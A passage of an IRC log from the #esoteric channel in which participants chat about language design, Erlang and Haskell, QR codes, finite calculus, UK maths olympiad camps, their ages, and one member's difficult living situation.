compared to haveing them start in the same place, and letting thje programmer do something interesting with having them both in the same space, with the chance to affect the same data < 1269023431 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269023441 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so sharing a tape is probably a more general language < 1269023658 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/probably/definitely/, you just gave the proof three lines above... < 1269023807 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :err, yes < 1269023817 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm stuck in talking in weasel words for some reason atm < 1269023824 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269023834 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Too much Japanese. < 1269023877 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(seriously, you use weasel words to be more polite in Japanese) < 1269024222 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269024282 0 :oerjan!unknown@unknown.invalid QUIT :Quit: I hope you honorable people will excuse me for leaving now. < 1269024289 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: you can own me all you want ;o < 1269024498 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should probably do his C++ homework at some point
< 1269024505 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :In class, I put it off in favor of $BIG_PROJECT < 1269024595 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's so cool < 1269026103 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269026226 0 :sshc!unknown@unknown.invalid QUIT :Client Quit < 1269026243 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269026868 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there a reason to attempt to learn Erlang when I already know Haskell? < 1269026889 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Erlang seems like a dynamically typed, non-lazy Haskell with strange syntax, from what I've seen < 1269026946 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it's good for different things < 1269026958 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :learn erlang while you write the program < 1269026967 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if you don't need to write a program in erlang why bother < 1269027060 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The syntax is confusingly Prology; for some reason I find it funny, even though there's really nothing especially funny there. < 1269027125 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :erlang was originally implemented in prolog, IIRC < 1269027133 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but reimplemented in something more efficient after a while < 1269027143 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :reimplemeted in prolog < 1269027153 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bytecode compiler rather than direct interpretre < 1269027153 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :My one-liner description would've been "non-declarative Prolog with concurrency and communications bits", but I guess that always depends on from where you look at. < 1269027163 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then I dunno what happened next < 1269027851 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is considering learning about F#
< 1269027978 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :learn about the theory of codes < 1269028013 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's real sexy < 1269028728 0 :deschutron!~alex@219-90-177-163.ip.adam.com.au JOIN :#esoteric < 1269028752 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :What is ridiculous is that there was this ad in the "jobs" noticeboard at the university; it consisted of only a single huge QR code, which, when decoded, yielded a longish quotation from the Book of Mozilla (11:9, I think) and a tinyurlish link to the actual job ad, which was some sort of web-mobile-developery thing. < 1269028785 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :QR? < 1269028794 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :that those 2d barcode things? < 1269028889 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269028894 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's the one with the squares in it. < 1269028907 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://upload.wikimedia.org/wikipedia/en/4/42/Wikipedia_mobile_en.png < 1269030976 0 :deschutron!unknown@unknown.invalid PART #esoteric :? < 1269030990 0 :deschutron!~alex@219-90-177-163.ip.adam.com.au JOIN :#esoteric < 1269031722 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269032584 0 :alise!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1269032600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is... Dispatch ... Four? < 1269032613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Three was the whole crisis thing I think so it wasn't really a dispatch. < 1269032691 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1269032701 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi, there. < 1269032751 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:57:21 I wonder how groups work. < 1269032752 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:59:23 Poorly. < 1269032752 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also true out of context. < 1269032777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:07:24 For instance, I'm fairly certain that SELinux implements ACLs (along with a trillion other things), but I have not one clue how they work.] < 1269032777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It does < 1269032779 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's awful < 1269032780 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hey alise I used finite calculus to prove something < 1269032785 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: So, uh. Hi? < 1269032790 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise! We haven't seen you for xkcd days! < 1269032795 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: Cool; show me. I need to forget about the week. < 1269032799 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Well, like I said, the unit. < 1269032812 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's Friday, Saturday, Sunday from now on. Until countries become move. < 1269032813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*moved < 1269032820 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise "(1 + 2 + 3 + ... + n) ^ 2 = 1^3 + 2^3 + 3^3 + ... + n^3" < 1269032822 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1269032823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(So that they are under my feet. That's why it's called "moving country".) < 1269032827 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"Why does the square of a sum of numbers equal the sum of each individual number cubed?" < 1269032829 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: that ... CANNOT BE EXPANDED < 1269032836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't EXIST < 1269032839 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Time remaining? < 1269032840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's INFINITE < 1269032841 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269032843 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you're infinet < 1269032845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Who the fuck knows < 1269032851 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmkay. < 1269032859 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, - http://www.reddit.com/r/math/comments/bep0g/why_does_the_square_of_a_sum_of_numbers_equal_the/c0meexi < 1269032881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :/r/math is a cesspool < 1269032883 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm busy trying to convince myself to do more kanji studying. And failing horribly ATM... < 1269032887 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(of idiocy) < 1269032894 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, also I used it to prove bijections between N^k and N < 1269032905 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269032937 0 :Asztal!~asztal@host86-159-110-76.range86-159.btcentralplus.com JOIN :#esoteric < 1269032987 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :do you know a better math forum? : | < 1269032992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no :) < 1269032993 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :#math? < 1269033005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: considering all the trolls we get here are from related channels to #math i doubt it < 1269033012 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also i think there is a lot of idiotic drama there < 1269033021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: actually i do < 1269033022 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#esoteric < 1269033048 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :#esoteric is indeed a better channel. < 1269033064 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, that cannot have been a serious suggestion < 1269033076 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ooh, hi alise < 1269033122 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what the Math channel on FICS is like
< 1269033125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Descarfed? < 1269033130 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269033133 0 :Deewiant!unknown@unknown.invalid QUIT :*.net *.split < 1269033133 0 :ineiros!unknown@unknown.invalid QUIT :*.net *.split < 1269033133 0 :AnMaster!unknown@unknown.invalid QUIT :*.net *.split < 1269033134 0 :HackEgo!unknown@unknown.invalid QUIT :*.net *.split < 1269033135 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :too many people complained < 1269033140 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although I was on FICS recently, and iirc, it was somewhat inactive. < 1269033151 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe if I said something, someone would respond, though < 1269033152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: What; why? < 1269033158 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not sure < 1269033159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nobody has complained about my nick. < 1269033165 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but if people want me to use this nick, I may as well use it < 1269033168 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe that means nobody cares about me. :) < 1269033171 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :FICS? < 1269033177 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and what is it like? < 1269033178 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or we want to help you stay undercover < 1269033190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That wasn't why I changed nick but sure. < 1269033190 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :FICS = Free Internet Chess Server. freechess.org < 1269033194 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't think they know I'm ehird. < 1269033209 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for a while, I was wondering if pineapple was you (UK ISP, and my client decided to give you the same nick colour), but I decided it was someone else < 1269033225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Never seen him. < 1269033240 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :he was here earlier, and talked in a similar way < 1269033240 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you ask I'll always respond in the affirmative, btw, so that's one way of identifying me. < 1269033245 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I suppose it was just a case of both being brits < 1269033249 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What, whiningly? :) < 1269033261 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: that isn't a definite method of identification < 1269033268 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's free from false negatives, but not from false positives < 1269033275 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in that if I ask someone else if they're alise, they might lie and say yes < 1269033280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway I could tell you all about the horrible week I've had, but you've heard it all before. So unless anyone asks - or I get the inclination - it'll just be left unsaid. < 1269033295 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: So, horrible but nothing new? Mmkay then. < 1269033302 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Enjoy your moments of sanity, then. < 1269033316 0 :Deewiant!~deewiant@kekkonen.cs.hut.fi JOIN :#esoteric < 1269033321 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269033321 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1269033326 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, partly as an antidote to the Java I do for work, I was doing some Haskell also for work < 1269033326 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, something got marginally better in the latter days - they're, zomg, closing the door to my bedroom at night! So now I can actually have troubled sleep instead of staring at bright lights all night. < 1269033335 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which is, you know, "improvement". < 1269033358 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: it sounds to me like an equivalent boarding school, which seems pretty awful < 1269033368 0 :ineiros!~itniemin@james.ics.hut.fi JOIN :#esoteric < 1269033375 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I remember that I was at one of the UK maths camps, which was being held in a boarding school < 1269033377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Boarding school with bullshit pseudo-psychology < 1269033382 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :can we just talk about finite calculus?? < 1269033384 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: same nick colour? < 1269033386 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the environment was weird, and more so because I was in a girl's bedroom < 1269033387 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Although at about the same time I was told that if I wanted to continue reading at night I'd have to go to bed earlier... < 1269033394 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: yes, my client colours people's nicks depending on who they are < 1269033399 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but from a relatively small palette < 1269033407 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because, you know, going to bed minutes later will kill me. (Maybe they could not wake me up at 7 every day?!) < 1269033412 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(she wasn't there at the time, they were reusing the bedrooms) < 1269033413 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(It's not like I have to travel.) < 1269033414 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Wait, wha? Makes no sense. < 1269033420 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I never went to a math camp < 1269033421 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :the 16 colour palette? < 1269033429 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: no, a different one I think, and even smaller < 1269033431 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: yeah and all the night staff do is just sit around and watch tv all night... < 1269033436 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :aaah < 1269033442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nice productive 'job' < 1269033445 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well I supposed that's not surprising since I was never exceptionaly good at math < 1269033448 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :magenta, blue, green, cyan, grey, red < 1269033450 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's about it < 1269033458 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Math camp? o.O < 1269033458 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yeah, they're being paid primarily for being available in case of a random emergency. < 1269033472 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They're totally incompetent though. < 1269033472 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: UK maths camps? < 1269033482 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, spam gets weirder and weirder: Do You Qualify - Get a $250 Grocery Gift Card < 1269033482 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1269033484 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: yes < 1269033492 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :UKIMO reserves, mostly < 1269033500 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :United Kingdom In My Opinion. < 1269033509 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :international math olympiad < 1269033514 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(next issue here: based on that question, do we know each other?) < 1269033539 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: apart from i know that you're a sysop at the esolangs wiki... afaik no < 1269033545 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: The first day that I was told (by the day staff) that they would tell the night staff to close my door (wow it is so inane negotiating things there it's like i'm 5 years old) it was shut for about 10 minutes then someone turned the light on, opened the door, and propped it up. < 1269033556 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Privacy and communication. It's what we're best at. < 1269033575 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: It's a CYA thing, not an "actually doing things" thing, having night staff. < 1269033578 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :alise: where is this? < 1269033586 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: You Don't Want To Know. < 1269033591 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: I was in the Cambridge and Oundle camps in 2004 and 2005, IIRC, although I might be off by one year there < 1269033604 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: Suffice to say I'm considered crazy and underage by the state; only one of these is correct. < 1269033613 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ais how did you get involved in something like that initally? < 1269033620 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :competitions < 1269033626 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you do well enough in them, they send you an invitation < 1269033630 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ohh < 1269033635 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :there used to be (still is?) a competition for 11-15yo kids at school < 1269033646 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and another competition for people who are slightly older < 1269033653 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :UKJMC, UKIMC, UKSMC < 1269033653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: Well okay actually if you asked, you probably do want to know. Do you? < 1269033655 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269033656 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Clearly you're absolutely bonkers but immortal. < 1269033672 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :three in all < 1269033687 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: iirc, i had best in school on the UKJMC when i was in year 8 < 1269033688 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and pineapple is /definitely/ involved in them, on the basis that he knows too much to not be < 1269033700 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: heh, in that case you didn't go to the same school as me < 1269033724 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :alise: i'm certainly willing to listen < 1269033742 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :or maybe not in the same year... my gcse year was 1999 < 1269033785 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, yes, good point < 1269033790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So you're approximately ... eleven? years older than me < 1269033793 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now I have to work out when mine was < 1269033802 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :i'm 26... :-/ < 1269033805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I will summarise to pineapple in /msg so I don't bloat the channel < 1269033810 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :alise: fine < 1269033811 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :22 < 1269033812 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: twelve years older :P < 1269033817 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :almost 23 < 1269033873 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so I probably missed you by one year at the camps < 1269033874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"22 and ONE HALF!!!" < 1269033906 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :22 and more than 11 months < 1269033920 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, come to think of it, my date of birth's probably online somewhere < 1269033952 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I think mine's probably in the channel logs somewhere. < 1269033966 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If it's not, well. 4 more days until I'm 20. Whooo. < 1269033979 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why am I surprised that I'm older than pikhq ? < 1269033980 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: somehow, I never thought of you as being younger than me < 1269033992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Huh - I'm surprised too. < 1269033994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :How old is pikhq? < 1269033996 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20something? < 1269034000 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wait, what/ < 1269034002 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :19? < 1269034004 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: 19, based on what he just said < 1269034005 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :19. < 1269034005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*what? < 1269034006 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269034008 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1269034010 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I feel inferior < 1269034021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then again I've got 4 years to catch up. < 1269034026 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHEN I'M OLDER THAN YOU < 1269034028 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: you're by far the best programmer of your age I know < 1269034043 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, you're... Pretty damned good. < 1269034085 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I mean, you might even be better than me, and I'm pretty good to < 1269034087 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*too < 1269034094 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably everyone in this channel is < 1269034130 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, yeah. We have a tendency to attract only the people that think bizarre programming languages are a neat idea. < 1269034164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I think you're a better programmer than me < 1269034170 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I wonder why that is... < 1269034182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :olsner: Well, it gets boring talking about magick. < 1269034191 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: there isn't really any easy way to test; maybe not any easy way to define it < 1269034194 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: 15 April 1987 < 1269034200 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :WHAT HAS ALISE WRITTEN? < 1269034203 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :NAME ONE PROGRAM < 1269034205 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: correct; which info source did you use? < 1269034205 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :........... < 1269034209 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: butts(1) < 1269034213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :name one program ais523 wrote < 1269034216 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: http://www.wolframscience.com/prizes/tm23/alex_smith_bio.html < 1269034220 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: the underload to C compiler < 1269034225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i figured if it has a picture of you it must have your birthdate < 1269034228 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: yep < 1269034230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that was pretty awful code though < 1269034233 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the scheme version < 1269034238 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :alise: you were born on a wednesday < 1269034243 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Name to me one program *you've* written! < 1269034243 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: still, it was generated pretty quickly < 1269034248 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: tab-complete fail? < 1269034248 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: not me ais523 < 1269034249 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I haven't written any < 1269034250 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what people think of his code >.>
< 1269034257 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269034261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I was born on a ... I don't know what day 22 august 1995 was < 1269034262 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I know I was born on Wednesday, and think it's a pretty irrelevant fact < 1269034263 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :not reading properly fail < 1269034273 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Code? Oh, right. PSOX. < 1269034288 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: Tuesday, apparently < 1269034289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, oh, amusingness time! < 1269034292 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: meh... i'm just bored (and i can work it out in my head) < 1269034295 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: THOU SHALT NOT MENTION PSOX < 1269034298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :My teacher is apparently trying to get a teacher for me so that I can have IT lessons. < 1269034299 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: 95? Man. I've been on the Internet since before you were born. < 1269034308 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which are, of course, an area in which I am lacking in skills! < 1269034311 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Which is < 1269034314 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I also have publically available Javasscript stuff, but I like to pretend it doesn't exist < 1269034316 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: ah, that's impressive; I never bothered to learn the algorithm, especially as I have cal to hand < 1269034320 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And it was written relatively recently! < 1269034321 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: LMAO < 1269034329 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269034348 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll just open Notepad and write a program for every task I'm asked to do. < 1269034350 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i'm not as fast at it as i could be, though... < 1269034351 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I was actually thinking slightly about this; the best solution IMO is to do your GCSEs/A-levels as soon as possible < 1269034360 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :regardless of whether it's too early or not < 1269034362 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :alise: notepad? :-/ < 1269034369 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you should be able to do really easily < 1269034370 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :wow, 1995, even I was on the internet before then < 1269034372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: Since when do school computers have Emacs? < 1269034375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I mean vim! < 1269034377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I mean Emacs! ... < 1269034378 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: No - that will involve me being registered with a school < 1269034384 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :(and no... i am not writing programs in doublefuck with my smileys) < 1269034386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Which creates further issues with moving probably < 1269034391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Anyway why would that help? < 1269034394 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: IIRC there's some way to do it without being registered < 1269034395 0 